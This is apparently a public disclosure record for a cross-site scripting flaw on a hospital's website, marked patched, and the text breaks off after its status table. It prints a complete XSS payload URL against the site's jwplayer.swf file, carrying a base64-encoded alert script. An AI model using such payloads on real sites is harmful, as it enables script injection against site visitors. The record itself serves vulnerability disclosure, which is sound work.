spencerhospital.org XSS vulnerability

Vulnerable URL: https://www.spencerhospital.org/images/video/jwplayer.swf?displayclick=link=data:text/html;base64,PHNjcmlwdD5hbGVydCgiT1BFTkJVR0JPVU5UWSIpPC9zY3JpcHQ+%2B=1.jpg Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...